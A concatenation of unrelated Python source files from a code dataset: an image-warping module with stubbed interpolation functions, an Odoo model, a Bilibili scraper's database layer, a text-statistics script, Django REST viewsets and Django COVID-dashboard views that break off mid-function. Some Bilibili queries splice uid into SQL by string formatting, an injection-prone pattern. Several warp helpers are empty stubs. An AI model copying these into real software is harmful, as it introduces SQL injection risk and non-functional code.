may not carry integer\n type.\n atol : float\n Absolute tolerance away from nearest integer to consider values in\n ``val`` functionally integers.\n\n Returns\n -------\n val_int : NumPy scalar or ndarray of dtype `np.int64`\n Returns the input value(s) coerced to dtype `np.int64` assuming all\n were within ``atol`` of the nearest integer.\n\n Notes\n -----\n This operation calculates ``val`` modulo 1, which returns the mantissa of\n all values. Then all mantissas greater than 0.5 are subtracted from one.\n Finally, the absolute tolerance from zero is calculated. If it is less\n than ``atol`` for all value(s) in ``val``, they are rounded and returned\n in an integer array. Or, if ``val`` was a scalar, a NumPy scalar type is\n returned.\n\n If any value(s) are outside the specified tolerance, an informative error\n is raised.\n\n Examples\n --------\n >>> safe_as_int(7.0)\n 7\n\n >>> safe_as_int([9, 4, 2.9999999999])\n array([9, 4, 3])\n\n >>> safe_as_int(53.1)\n Traceback (most recent call last):\n ...\n ValueError: Integer argument required but received 53.1, check inputs.\n\n >>> safe_as_int(53.01, atol=0.01)\n 53\n\n \"\"\"\n mod = np.asarray(val) % 1 # Extract mantissa\n\n # Check for and subtract any mod values > 0.5 from 1\n if mod.ndim == 0: # Scalar input, cannot be indexed\n if mod > 0.5:\n mod = 1 - mod\n else: # Iterable input, now ndarray\n mod[mod > 0.5] = 1 - mod[mod > 0.5] # Test on each side of nearest int\n\n try:\n np.testing.assert_allclose(mod, 0, atol=atol)\n except AssertionError:\n raise ValueError(\"Integer argument required but received \"\n \"{0}, check inputs.\".format(val))\n\n return np.round(val).astype(np.int64)\n\ndef spline_filter1d(*args, **kwargs): # real signature unknown\n pass\n\ndef _to_ndimage_mode(mode):\n \"\"\"Convert from `numpy.pad` mode name to the corresponding ndimage mode.\"\"\"\n mode_translation_dict = dict(edge='nearest', symmetric='reflect',\n reflect='mirror')\n if mode in mode_translation_dict:\n mode = mode_translation_dict[mode]\n return mode\n\ndef geometric_transform(*args, **kwargs): # real signature unknown\n pass\n\ndef spline_filter(input, order=3, mode='mirror', chosen_math_library=None):\n \"\"\"\n Multidimensional spline filter.\n\n For more details, see `spline_filter1d`.\n\n See Also\n --------\n spline_filter1d : Calculate a 1-D spline filter along the given axis.\n\n Notes\n -----\n The multidimensional filter is implemented as a sequence of\n 1-D spline filters. The intermediate arrays are stored\n in the same data type as the output. Therefore, for output types\n with a limited precision, the results may be imprecise because\n intermediate results may be stored with insufficient precision.\n\n Examples\n --------\n We can filter an image using multidimentional splines:\n\n >>> from scipy.ndimage import spline_filter\n >>> import matplotlib.pyplot as plt\n >>> orig_img = np.eye(20) # create an image\n >>> orig_img[10, :] = 1.0\n >>> sp_filter = spline_filter(orig_img, order=3)\n >>> f, ax = plt.subplots(1, 2, sharex=True)\n >>> for ind, data in enumerate([[orig_img, \"original image\"],\n ... [sp_filter, \"spline filter\"]]):\n ... ax[ind].imshow(data[0], cmap='gray_r')\n ... ax[ind].set_title(data[1])\n >>> plt.tight_layout()\n >>> plt.show()\n\n \"\"\"\n output =chosen_math_library.float64\n\n if order < 2 or order > 5:\n raise RuntimeError('spline order not supported')\n input = chosen_math_library.asarray(input)\n if chosen_math_library.iscomplexobj(input):\n raise TypeError('Complex type not supported')\n output = _get_output(output, input)\n if order not in [0, 1] and input.ndim > 0:\n for axis in range(input.ndim):\n spline_filter1d(input, order, axis, output=output, mode=mode)\n input = output\n else:\n output[...] = input[...]\n return output\n\n\ndef _extend_mode_to_code(mode):\n \"\"\"Convert an extension mode to the corresponding integer code.\n \"\"\"\n if mode == 'nearest':\n return 0\n elif mode == 'wrap':\n return 1\n elif mode == 'reflect':\n return 2\n elif mode == 'mirror':\n return 3\n elif mode == 'constant':\n return 4\n else:\n raise RuntimeError('boundary mode not supported')\n\n\ndef map_coordinates(input, coordinates, output=None, order=3,\n mode='constant', cval=0.0, prefilter=True, chosen_math_library=None):\n \"\"\"\n Map the input array to new coordinates by interpolation.\n\n The array of coordinates is used to find, for each point in the output,\n the corresponding coordinates in the input. The value of the input at\n those coordinates is determined by spline interpolation of the\n requested order.\n\n The shape of the output is derived from that of the coordinate\n array by dropping the first axis. The values of the array along\n the first axis are the coordinates in the input array at which the\n output value is found.\n\n Parameters\n ----------\n %(input)s\n coordinates : array_like\n The coordinates at which `input` is evaluated.\n %(output)s\n order : int, optional\n The order of the spline interpolation, default is 3.\n The order has to be in the range 0-5.\n %(mode)s\n %(cval)s\n %(prefilter)s\n\n Returns\n -------\n map_coordinates : ndarray\n The result of transforming the input. The shape of the output is\n derived from that of `coordinates` by dropping the first axis.\n\n See Also\n --------\n spline_filter, geometric_transform, scipy.interpolate\n\n Examples\n --------\n >>> from scipy import ndimage\n >>> a = np.arange(12.).reshape((4, 3))\n >>> a\n array([[ 0., 1., 2.],\n [ 3., 4., 5.],\n [ 6., 7., 8.],\n [ 9., 10., 11.]])\n >>> ndimage.map_coordinates(a, [[0.5, 2], [0.5, 1]], order=1)\n array([ 2., 7.])\n\n Above, the interpolated value of a[0.5, 0.5] gives output[0], while\n a[2, 1] is output[1].\n\n >>> inds = np.array([[0.5, 2], [0.5, 4]])\n >>> ndimage.map_coordinates(a, inds, order=1, cval=-33.3)\n array([ 2. , -33.3])\n >>> ndimage.map_coordinates(a, inds, order=1, mode='nearest')\n array([ 2., 8.])\n >>> ndimage.map_coordinates(a, inds, order=1, cval=0, output=bool)\n array([ True, False], dtype=bool)\n\n \"\"\"\n if order < 0 or order > 5:\n raise RuntimeError('spline order not supported')\n input = chosen_math_library.asarray(input)\n if chosen_math_library.iscomplexobj(input):\n raise TypeError('Complex type not supported')\n coordinates = chosen_math_library.asarray(coordinates)\n if chosen_math_library.iscomplexobj(coordinates):\n raise TypeError('Complex type not supported')\n output_shape = coordinates.shape[1:]\n if input.ndim < 1 or len(output_shape) < 1:\n raise RuntimeError('input and output rank must be > 0')\n if coordinates.shape[0] != input.ndim:\n raise RuntimeError('invalid shape for coordinate array')\n mode = _extend_mode_to_code(mode)\n if prefilter and order > 1:\n filtered = spline_filter(input, order, output=chosen_math_library.float64)\n else:\n filtered = input\n output = _get_output(output, input,\n shape=output_shape, chosen_math_library=chosen_math_library)\n geometric_transform(filtered, None, coordinates, None, None,\n output, order, mode, cval, None, None)\n return output\n\n\ndef _get_output(output, input, shape=None, chosen_math_library=None):\n if shape is None:\n shape = input.shape\n if output is None:\n output = chosen_math_library.zeros(shape, dtype=input.dtype.name)\n elif isinstance(output, (type, chosen_math_library.dtype)):\n # Classes (like `np.float32`) and dtypes are interpreted as dtype\n output = chosen_math_library.zeros(shape, dtype=output)\n elif isinstance(output, str):\n output = chosen_math_library.typeDict[output]\n output = chosen_math_library.zeros(shape, dtype=output)\n elif output.shape != shape:\n raise RuntimeError(\"output shape not correct\")\n return output\n\n\ndef warp(image, inverse_map, map_args={}, output_shape=None, order=None,\n mode='constant', cval=0., clip=True, preserve_range=False, chosen_math_library=None):\n \"\"\"Warp an image according to a given coordinate transformation.\n\n Parameters\n ----------\n image : ndarray\n Input image.\n inverse_map : transformation object, callable ``cr = f(cr, **kwargs)``, or ndarray\n Inverse coordinate map, which transforms coordinates in the output\n images into their corresponding coordinates in the input image.\n\n There are a number of different options to define this map, depending\n on the dimensionality of the input image. A 2-D image can have 2\n dimensions for gray-scale images, or 3 dimensions with color\n information.\n\n - For 2-D images, you can directly pass a transformation object,\n e.g. `skimage.transform.SimilarityTransform`, or its inverse.\n - For 2-D images, you can pass a ``(3, 3)`` homogeneous\n transformation matrix, e.g.\n `skimage.transform.SimilarityTransform.params`.\n - For 2-D images, a function that transforms a ``(M, 2)`` array of\n ``(col, row)`` coordinates in the output image to their\n corresponding coordinates in the input image. Extra parameters to\n the function can be specified through `map_args`.\n - For N-D images, you can directly pass an array of coordinates.\n The first dimension specifies the coordinates in the input image,\n while the subsequent dimensions determine the position in the\n output image. E.g. in case of 2-D images, you need to pass an array\n of shape ``(2, rows, cols)``, where `rows` and `cols` determine the\n shape of the output image, and the first dimension contains the\n ``(row, col)`` coordinate in the input image.\n See `scipy.ndimage.map_coordinates` for further documentation.\n\n Note, that a ``(3, 3)`` matrix is interpreted as a homogeneous\n transformation matrix, so you cannot interpolate values from a 3-D\n input, if the output is of shape ``(3,)``.\n\n See example section for usage.\n map_args : dict, optional\n Keyword arguments passed to `inverse_map`.\n output_shape : tuple (rows, cols), optional\n Shape of the output image generated. By default the shape of the input\n image is preserved. Note that, even for multi-band images, only rows\n and columns need to be specified.\n order : int, optional\n The order of interpolation. The order has to be in the range 0-5:\n - 0: Nearest-neighbor\n - 1: Bi-linear (default)\n - 2: Bi-quadratic\n - 3: Bi-cubic\n - 4: Bi-quartic\n - 5: Bi-quintic\n\n Default is 0 if image.dtype is bool and 1 otherwise.\n mode : {'constant', 'edge', 'symmetric', 'reflect', 'wrap'}, optional\n Points outside the boundaries of the input are filled according\n to the given mode. Modes match the behaviour of `numpy.pad`.\n cval : float, optional\n Used in conjunction with mode 'constant', the value outside\n the image boundaries.\n clip : bool, optional\n Whether to clip the output to the range of values of the input image.\n This is enabled by default, since higher order interpolation may\n produce values outside the given input range.\n preserve_range : bool, optional\n Whether to keep the original range of values. Otherwise, the input\n image is converted according to the conventions of `img_as_float`.\n Also see\n https://scikit-image.org/docs/dev/user_guide/data_types.html\n\n Returns\n -------\n warped : double ndarray\n The warped input image.\n\n Notes\n -----\n - The input image is converted to a `double` image.\n - In case of a `SimilarityTransform`, `AffineTransform` and\n `ProjectiveTransform` and `order` in [0, 3] this function uses the\n underlying transformation matrix to warp the image with a much faster\n routine.\n\n Examples\n --------\n >>> from skimage.transform import warp\n >>> from skimage import data\n >>> image = data.camera()\n\n The following image warps are all equal but differ substantially in\n execution time. The image is shifted to the bottom.\n\n Use a geometric transform to warp an image (fast):\n\n >>> from skimage.transform import SimilarityTransform\n >>> tform = SimilarityTransform(translation=(0, -10))\n >>> warped = warp(image, tform)\n\n Use a callable (slow):\n\n >>> def shift_down(xy):\n ... xy[:, 1] -= 10\n ... return xy\n >>> warped = warp(image, shift_down)\n\n Use a transformation matrix to warp an image (fast):\n\n >>> matrix = chosen_math_library.array([[1, 0, 0], [0, 1, -10], [0, 0, 1]])\n >>> warped = warp(image, matrix)\n >>> from skimage.transform import ProjectiveTransform\n >>> warped = warp(image, ProjectiveTransform(matrix=matrix))\n\n You can also use the inverse of a geometric transformation (fast):\n\n >>> warped = warp(image, tform.inverse)\n\n For N-D images you can pass a coordinate array, that specifies the\n coordinates in the input image for every element in the output image. E.g.\n if you want to rescale a 3-D cube, you can do:\n\n >>> cube_shape = chosen_math_library.array([30, 30, 30])\n >>> cube = chosen_math_library.random.rand(*cube_shape)\n\n Setup the coordinate array, that defines the scaling:\n\n >>> scale = 0.1\n >>> output_shape = (scale * cube_shape).astype(int)\n >>> coords0, coords1, coords2 = chosen_math_library.mgrid[:output_shape[0],\n ... :output_shape[1], :output_shape[2]]\n >>> coords = chosen_math_library.array([coords0, coords1, coords2])\n\n Assume that the cube contains spatial data, where the first array element\n center is at coordinate (0.5, 0.5, 0.5) in real space, i.e. we have to\n account for this extra offset when scaling the image:\n\n >>> coords = (coords + 0.5) / scale - 0.5\n >>> warped = warp(cube, coords)\n\n \"\"\"\n\n if image.size == 0:\n raise ValueError(\"Cannot warp empty image with dimensions\",\n image.shape)\n\n order = _validate_interpolation_order(image.dtype, order)\n\n image = convert_to_float(image, preserve_range, chosen_math_library)\n\n input_shape = chosen_math_library.array(image.shape)\n\n if output_shape is None:\n output_shape = input_shape\n else:\n output_shape = safe_as_int(output_shape)\n\n warped = None\n\n if order == 2:\n # When fixing this issue, make sure to fix the branches further\n # below in this function\n print(\"Bi-quadratic interpolation behavior has changed due \"\n \"to a bug in the implementation of scikit-image. \"\n \"The new version now serves as a wrapper \"\n \"around SciPy's interpolation functions, which itself \"\n \"is not verified to be a correct implementation. Until \"\n \"skimage's implementation is fixed, we recommend \"\n \"to use bi-linear or bi-cubic interpolation instead.\")\n\n if order in (0, 1, 3) and not map_args:\n # use fast Cython version for specific interpolation orders and input\n\n matrix = None\n\n if isinstance(inverse_map, chosen_math_library.ndarray) and inverse_map.shape == (3, 3):\n # inverse_map is a transformation matrix as numpy array\n matrix = inverse_map\n\n elif isinstance(inverse_map, HOMOGRAPHY_TRANSFORMS):\n # inverse_map is a homography\n matrix = inverse_map.params\n\n elif (hasattr(inverse_map, '__name__') and\n inverse_map.__name__ == 'inverse' and\n get_bound_method_class(inverse_map) in HOMOGRAPHY_TRANSFORMS):\n # inverse_map is the inverse of a homography\n matrix = chosen_math_library.linalg.inv(inverse_map.__self__.params)\n\n if matrix is not None:\n matrix = matrix.astype(image.dtype)\n ctype = 'float32_t' if image.dtype == chosen_math_library.float32 else 'float64_t'\n if image.ndim == 2:\n # warped = _warp_fast[ctype](image, matrix,\n # output_shape=output_shape,\n # order=order, mode=mode, cval=cval)\n warped = _warp_fast(image, matrix,\n output_shape=output_shape,\n order=order, mode=mode, cval=cval)\n elif image.ndim == 3:\n dims = []\n for dim in range(image.shape[2]):\n # dims.append(_warp_fast[ctype](image[..., dim], matrix,\n # output_shape=output_shape,\n # order=order, mode=mode,\n # cval=cval))\n dims.append(_warp_fast(image[..., dim], matrix,\n output_shape=output_shape,\n order=order, mode=mode,\n cval=cval))\n warped = chosen_math_library.dstack(dims)\n\n if warped is None:\n # use ndi.map_coordinates\n if (isinstance(inverse_map, chosen_math_library.ndarray) and\n inverse_map.shape == (3, 3)):\n # inverse_map is a transformation matrix as numpy array,\n # this is only used for order >= 4.\n inverse_map = ProjectiveTransform(matrix=inverse_map)\n\n if isinstance(inverse_map, chosen_math_library.ndarray):\n # inverse_map is directly given as coordinates\n coords = inverse_map\n else:\n # inverse_map is given as function, that transforms (N, 2)\n # destination coordinates to their corresponding source\n # coordinates. This is only supported for 2(+1)-D images.\n\n if image.ndim < 2 or image.ndim > 3:\n raise ValueError(\"Only 2-D images (grayscale or color) are \"\n \"supported, when providing a callable \"\n \"`inverse_map`.\")\n\n def coord_map(*args):\n return inverse_map(*args, **map_args, chosen_math_library=chosen_math_library)\n\n if len(input_shape) == 3 and len(output_shape) == 2:\n # Input image is 2D and has color channel, but output_shape is\n # given for 2-D images. Automatically add the color channel\n # dimensionality.\n output_shape = (output_shape[0], output_shape[1],\n input_shape[2])\n\n coords = warp_coords(coord_map, output_shape, chosen_math_library=chosen_math_library)\n\n # Pre-filtering not necessary for order 0, 1 interpolation\n prefilter = order > 1\n\n ndi_mode = _to_ndimage_mode(mode)\n warped = map_coordinates(image, coords, prefilter=prefilter,\n mode=ndi_mode, order=order, cval=cval, chosen_math_library=chosen_math_library)\n\n _clip_warp_output(image, warped, order, mode, cval, clip, chosen_math_library)\n\n return warped\n\n","repo_name":"syorkp/SimFish","sub_path":"Tools/underlying_resize.py","file_name":"underlying_resize.py","file_ext":"py","file_size_in_byte":65036,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"71140987919","text":"# © 2016 Chafique DELLI @ Akretion\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\n\nfrom odoo import fields, models\n\n\nclass ResPartner(models.Model):\n _inherit = \"res.partner\"\n\n use_only_supplied_product = fields.Boolean(\n string=\"Order and invoice only supplied products\",\n help=\"If checked, by default you will only be able to select products\"\n \" that can be supplied by this supplier when creating a supplier\"\n \" invoice or purchase for it.\"\n \" This value can be changed by invoice or purchase.\",\n )\n","repo_name":"OCA/purchase-workflow","sub_path":"purchase_allowed_product/models/res_partner.py","file_name":"res_partner.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"29"} +{"seq_id":"13345733637","text":"from app.data_fetch import bilibilier\nfrom app.data_access import video\nfrom app.data_access.DB import DB\nfrom datetime import datetime\n\ndb = DB(passwd='你的密码', db='bilibili_flask')\n\n\ndef delete(uid):\n sql1 = 'delete from bilibiliers where uid = %s'\n sql2 = 'delete from videos where uid = %s'\n params = (uid,)\n db.execute(sql1, params)\n db.execute(sql2, params)\n\n\ndef write(uid):\n b = bilibilier.bilibilier_info(uid)\n\n # 先清除再写入\n delete(uid)\n\n sql = 'insert into bilibiliers values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)'\n params = (\n b['uid'],\n b['name'],\n b['sex'],\n b['birthday'],\n b['sign'],\n b['face_photo_url'],\n b['top_photo_url'],\n b['following'],\n b['follower'],\n b['video_count']\n )\n db.execute(sql, params)\n\n for video in b['videos']:\n sql = 'insert into videos values(%s,%s,%s,%s,%s,%s,%s,%s,%s)'\n if video['play'] == '--':\n video['play'] = -1\n params = (\n video['av'],\n b['uid'],\n video['title'],\n video['description'],\n video['length'],\n video['created'],\n video['play'],\n video['comment'],\n video['pic'],\n )\n db.execute(sql, params)\n\n\ndef read(uid):\n info = {}\n\n sql = 'select * from bilibiliers where uid = %s'\n params = (uid,)\n try:\n result = db.execute(sql, params)[0]\n info['uid'] = result['uid']\n info['name'] = result['uname']\n info['sex'] = result['sex']\n info['birthday'] = result['birthday']\n info['sign'] = result['sign']\n info['face_photo_url'] = result['face_photo_url']\n info['top_photo_url'] = result['top_photo_url']\n info['following'] = result['following_count']\n info['follower'] = result['follower_count']\n info['video_count'] = result['video_count']\n except Exception as e:\n print(e)\n\n videos = []\n sql = 'select * from videos where uid = %s'\n params = (uid,)\n try:\n result = db.execute(sql, params)\n for item in result:\n video = {\n 'av': item['av'],\n 'title': item['title'],\n 'description': item['des'],\n 'length': item['length'],\n 'created': item['created'],\n 'play': item['play_count'],\n 'comment': item['comment_count'],\n 'pic': item['cover_photo_url']\n }\n videos.append(video)\n except Exception as e:\n print(e)\n\n info['videos'] = videos\n return info\n\n\ndef write_all_videos(uid):\n b = read(uid)\n for item in b['videos']:\n try:\n video.write(item['av'])\n except Exception as e:\n print(e)\n\n\ndef write_remained_videos(uid):\n b = read(uid)\n try:\n sql = 'select av from v_basic where av in (select av from videos where uid = %s)' % uid\n result = db.execute(sql)\n for item in b['videos']:\n tmp = {'av': item['av']}\n if tmp not in result:\n try:\n video.write(item['av'])\n except Exception as e:\n print(e)\n except Exception as e:\n print(e)\n\n\ndef read_comprehensive(uid):\n sql = 'select * from bilibiliers where uid = %s' % uid\n b = db.execute(sql)[0]\n sql = 'select * from v_basic where av in (select av from videos where uid = %s)' % uid\n v = db.execute(sql)\n b_comprehensive = {\n 'uid': b['uid'],\n 'uname': b['uname'],\n 'sex': b['sex'],\n 'birthday': b['birthday'],\n 'sign': b['sign'],\n 'face_photo_url': b['face_photo_url'],\n 'top_photo_url': b['top_photo_url'],\n 'following_count': b['following_count'],\n 'follower_count': b['follower_count'],\n 'video_count': b['video_count'],\n 'v_basic': v\n }\n return b_comprehensive\n\n\ndef build_all_continue(uid):\n print('--------------- buid(%s) ---------------' % uid)\n print(datetime.now(), '*** write(%s)' % uid)\n write(uid)\n print(datetime.now(), '#')\n print(datetime.now(), '*** read(%s)' % uid)\n b = read(uid)\n print(datetime.now(), '#')\n try:\n print(datetime.now(), '*** select av from v_basic')\n sql = 'select av from v_basic where av in (select av from videos where uid = %s)' % uid\n result = db.execute(sql)\n print(datetime.now(), '#')\n for i,item in enumerate(b['videos']):\n tmp = {'av': item['av']}\n # tmp = {'av': '0'}\n if tmp not in result:\n try:\n print('进度:[%d/%d]' % (i+1,len(b['videos'])))\n print(datetime.now(), '*** write(%s)' % item['av'])\n video.write(item['av'])\n print(datetime.now(), '#')\n print(datetime.now(), '*** write_comprehensive(%s)' % item['av'])\n video.write_comprehensive(item['av'])\n print(datetime.now(), '#')\n except Exception as e:\n print(e)\n except Exception as e:\n print(e)\n\n\ndef all_bilibiliers():\n sql = 'select uid from bilibiliers'\n result = db.execute(sql)\n return result\n","repo_name":"tyn1998/bilibili_flask","sub_path":"app/data_access/bilibilier.py","file_name":"bilibilier.py","file_ext":"py","file_size_in_byte":5311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20149695726","text":"import re\nimport os\n\ninput_file = os.path.join('raw_data', 'paragraph_0.txt')\n\nwith open(input_file, 'r', newline='') as text:\n lines = text.read()\n\nword_count = 0\nsentence_count = 0\nletter_count = 0\nsentence_length = 0\n\n# count word\nwords = re.split('\\W+', lines)[:-1]\n# print(words)\nword_count = len(words)\n\n# count sentence\n# sentences = re.split(r\"(?<=[.!?]) +\", lines)\nsentences = re.split('[.!?]', lines)\n\n# print(sentences)\nsentence_count = len(sentences)\n\n# count letter\nword_total_length = 0\nfor i in range(word_count):\n word_total_length = word_total_length + len(words[i])\nletter_count = word_total_length / word_count\n\n# count sentence length\nsentence_total_length = 0\nfor i in range(len(sentences)):\n sentence_total_length = sentence_total_length + len(sentences[i])\nsentence_length = sentence_total_length / sentence_count\n\n# print\nprint('Paragraph Analysis\\n-------------------')\nprint('Approximate word count: ' + str(word_count))\nprint('Approximate Sentence Count: ' + str(sentence_count))\nprint('Average Letter Count: ' + str(letter_count))\nprint('Average Sentence Length: ' + str(sentence_length))\n","repo_name":"elrondfeng/python-challenge","sub_path":"PyParagraph/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34683079857","text":"import logging\n\nfrom django.db.models import Q\nfrom django.utils import timezone\nfrom django_filters.rest_framework import DjangoFilterBackend\n\nfrom rest_framework import viewsets, parsers\nfrom rest_framework import mixins\nfrom rest_framework.response import Response\nfrom rest_framework.exceptions import NotFound, ParseError, APIException\nfrom rest_framework.decorators import action\n\nfrom . import serializers\nfrom . import models\nfrom event_bus.utils import publish\n\nlogger = logging.getLogger(__name__)\n\n\nclass BotUserViewset(viewsets.ModelViewSet):\n queryset = models.BotUser.objects.all()\n serializer_class = serializers.BotUserSerializer\n\n @action(detail=True, methods=[\"POST\"])\n def make_referral(self, request, pk=None):\n user = self.get_object()\n if user.inviting_user:\n raise ParseError('This user have inviting_user')\n\n inviter = models.BotUser.objects.get(id=request.data[\"id\"])\n if not inviter:\n raise ParseError('No inviter user')\n if inviter.id == user.id:\n raise ParseError('inviter = inviting')\n if inviter.inviting_user and inviter.inviting_user.id == user.id:\n raise ParseError('Circular invite')\n\n user.inviting_user = inviter\n user.save()\n\n return Response( self.serializer_class(user).data )\n\n @action(detail=True, methods=[\"PATCH\"])\n def update_last_usage(self, request, pk=None):\n user = self.get_object()\n user.last_usage_at = timezone.now()\n user.telegram_meta = request.data\n user.save()\n return Response( self.serializer_class(user).data )\n\n\nclass UserSupportQuestionViewset(viewsets.ModelViewSet):\n queryset = models.UserSupportQuestion.objects.filter(status=models.UserSupportQuestion.StatusChoices.CREATED)\n serializer_class = serializers.UserSupportQuestionSerializer\n\n filter_backends = [DjangoFilterBackend]\n filterset_fields = ['type']\n\n def perform_update(self, serializer):\n serializer.save(status=models.UserSupportQuestion.StatusChoices.ANSWERED)\n\n\nclass GirlFormViewset(\n mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n mixins.ListModelMixin,\n viewsets.GenericViewSet\n ):\n queryset = models.GirlForm.objects.all()\n serializer_class = serializers.GirlFormSerializer\n\n filter_backends = [DjangoFilterBackend]\n filterset_fields = ['status']\n\n def get_object(self):\n user = models.BotUser.objects.get(pk=self.kwargs[\"pk\"])\n forms = user.girl_profile.forms.filter(\n ~Q(status=models.GirlForm.StatusChoices.DELETED)\n )\n if not forms:\n raise NotFound()\n form = forms.latest('id')\n\n if not form:\n raise NotFound()\n return form\n\n @action(detail=True, methods=[\"POST\"])\n def set_filled(self, request, pk=None):\n obj = self.get_object()\n obj.status = models.GirlForm.StatusChoices.FILLED\n obj.save()\n\n return Response( self.serializer_class(obj).data )\n\n @action(detail=False, methods=[\"POST\"])\n def create_by_user(self, request, pk=None):\n try:\n user_id = request.data.get(\"user\")\n user = models.BotUser.objects.get(id=user_id)\n profile = models.GirlProfile.objects.get(user=user)\n obj = models.GirlForm.objects.create(profile=profile)\n except Exception:\n raise NotFound()\n\n return Response( self.serializer_class(obj).data)\n\n\nclass GirlFormPhotoViewset(viewsets.ModelViewSet):\n queryset = models.GirlFormPhoto.objects.all()\n serializer_class = serializers.GirlFormPhotoSerializer\n parser_classes = (parsers.MultiPartParser, )\n","repo_name":"furfa/SR_bot","sub_path":"backend/user_accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14795156742","text":"\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django import template\nfrom django.template import RequestContext\n\nfrom django.db import connection\nfrom corona.GPS_Reader_Saver import get_gps_value\nfrom django.contrib.auth.hashers import make_password\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate,login,logout\n\nfrom django.contrib.auth import login\nfrom django.urls import reverse\nfrom django.contrib.auth import authenticate\nfrom datetime import datetime,date,timedelta\nfrom django.views import generic\nfrom django.utils.safestring import mark_safe\nfrom .models import Event\nfrom .utils import Calendar\nimport calendar\nfrom .forms import EventForm\nfrom corona.GPS_Reader_Saver import get_gps_value\nfrom corona.NewsCrawling_test import news\nfrom corona.JenanMessage import jenan_area\nfrom corona.governmentNews import gnews\nfrom corona.KeepDistance import KeepDistanceAllArea,junsu\nfrom corona.CovidCount import CovidAll,CovidArea\nfrom corona.CovidCountSmallArea import find,find_danger,findLowDanger,findTopDanger\nfrom corona.CovidPatientRoute import GetPatientRoute\n# Create your views here.\nfrom django.contrib import auth\nfrom django.contrib import messages\n# Create your views here.\nfrom corona.Omicron import Omicron\n\ndef register(request): #회원가입 페이지를 보여주기 위한 함수\n if request.method == \"GET\":\n return render(request, 'corona/register.html')\n elif request.method == \"POST\":\n username = request.POST.get('username',None) #딕셔너리형태\n password = request.POST.get('password',None)\n re_password = request.POST.get('re_password',None)\n res_data = {}\n if not (username and password and re_password) :\n res_data['error'] = \"모든 값을 입력해야 합니다.\"\n return render(request, 'corona/register.html',res_data)\n if password != re_password :\n # return HttpResponse('비밀번호가 다릅니다.')\n res_data['error'] = '비밀번호가 다릅니다.'\n return render(request, 'corona/register.html', res_data)\n else :\n user = User(username=username, password=make_password(password))\n user.save()\n return redirect(reverse('lg'))\n\ndef users_login(request):\n res_data={}\n\n if request.method == 'POST':\n username = request.POST[\"username\"]\n password = request.POST[\"password\"]\n user = auth.authenticate(request,username=username, password=password)\n\n if user is not None:\n auth.login(request, user)\n request.session[\"username\"] = username\n return redirect('/')\n else:\n res_data['error']='비밀번호가 달라요!'\n return render(request, \"corona/user_login.html\",{'error': 'Username or Password is incorrect.'})\n\ndef users_logout(request):\n logout(request)\n if request.method == 'POST':\n auth.logout(request)\n redirect('/')\n return redirect('/')\n\nclass CalendarView(generic.ListView):\n model = Event\n template_name = 'corona/calendar.html'\n\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n d = get_date(self.request.GET.get('month', None))\n cal = Calendar(d.year, d.month)\n html_cal = cal.formatmonth(withyear=True)\n context['calendar'] = mark_safe(html_cal)\n context['prev_month'] = prev_month(d)\n context['next_month'] = next_month(d)\n return context\n\ndef get_date(req_month):\n if req_month:\n year, month = (int(x) for x in req_month.split('-'))\n return date(year, month, day=1)\n return datetime.today()\n\ndef prev_month(d):\n first = d.replace(day=1)\n prev_month = first - timedelta(days=1)\n month = 'month=' + str(prev_month.year) + '-' + str(prev_month.month)\n return month\n\ndef next_month(d):\n days_in_month = calendar.monthrange(d.year, d.month)[1]\n last = d.replace(day=days_in_month)\n next_month = last + timedelta(days=1)\n month = 'month=' + str(next_month.year) + '-' + str(next_month.month)\n return month\n\ndef event(request, event_id=None):\n instance = Event()\n if event_id:\n instance = get_object_or_404(Event, pk=event_id)\n else:\n instance = Event()\n\n form = EventForm(request.POST or None, instance=instance)\n if request.POST and form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('calendar'))\n return render(request, 'corona/event.html', {'form': form})\n\n\n\ndef get_news(request,query):#지역뉴스\n return HttpResponse(news(query))\n\ndef get_gnews(request):#정부뉴스\n return HttpResponse(gnews())\n\ndef jenan(request,area):\n return HttpResponse(jenan_area(area))\n\ndef covid_value(request,area):\n try:\n area = area.split(' ')[1]\n except:\n pass\n omicron = Omicron()\n try:\n korea = CovidAll()\n area1 = CovidArea(area)\n area2 = find(area)\n\n tds = \"\"\"\n <th>전국 누적확진자</th>\n <th>전국 신규 확진자</th>\n <th>{}도 신규확진자</th>\n <th>{} 신규확진자</th>\n <th>오미크론 누적 확진</th>\n <tr>\n <td>{}</td>\n <td>{}</td>\n <td>{}</td>\n <td>{}</td>\n <td><a href = '{}'>{}</td>\n </tr>\"\"\".format(area1[-1], # 도 단위\n area, # 지역\n korea[1], # 전체 누적확진자\n korea[0], # 전체 신규확진자\n area1[0][0], # 강원도 신규확진자\n area2,\n omicron[0],\n omicron[1])\n except:\n korea = \"서버 점검중\"\n area1 = \"서버 점검중\"\n area2 = \"서버 점검중\"\n tds = \"\"\"\n <th>전국 누적확진자</th>\n <th>전국 신규 확진자</th>\n <th>도단위 신규확진자</th>\n <th>현재 지역 신규확진자</th>\n <th>오미크론 누적 확진</th>\n <tr>\n <td>서버 점검중</td>\n <td>서버 점검중</td>\n <td>서버 점검중</td>\n <td>서버 점검중</td>\n <td><a href = '{}'>{}</td>\n </tr>\"\"\".format(omicron[0],\n omicron[1])\n\n print(area2)\n\n #area2 = find(area)\n\n return HttpResponse(tds)\n\n\ndef index(request):\n context = {'find_top_danger': findTopDanger(), 'find_low_danger': findLowDanger()}\n if request.method == 'POST':\n k = ''\n k = request.POST.get(\"loca\")\n context['k'] = k\n else:\n k = ''\n context['k'] = k\n print(context)\n return 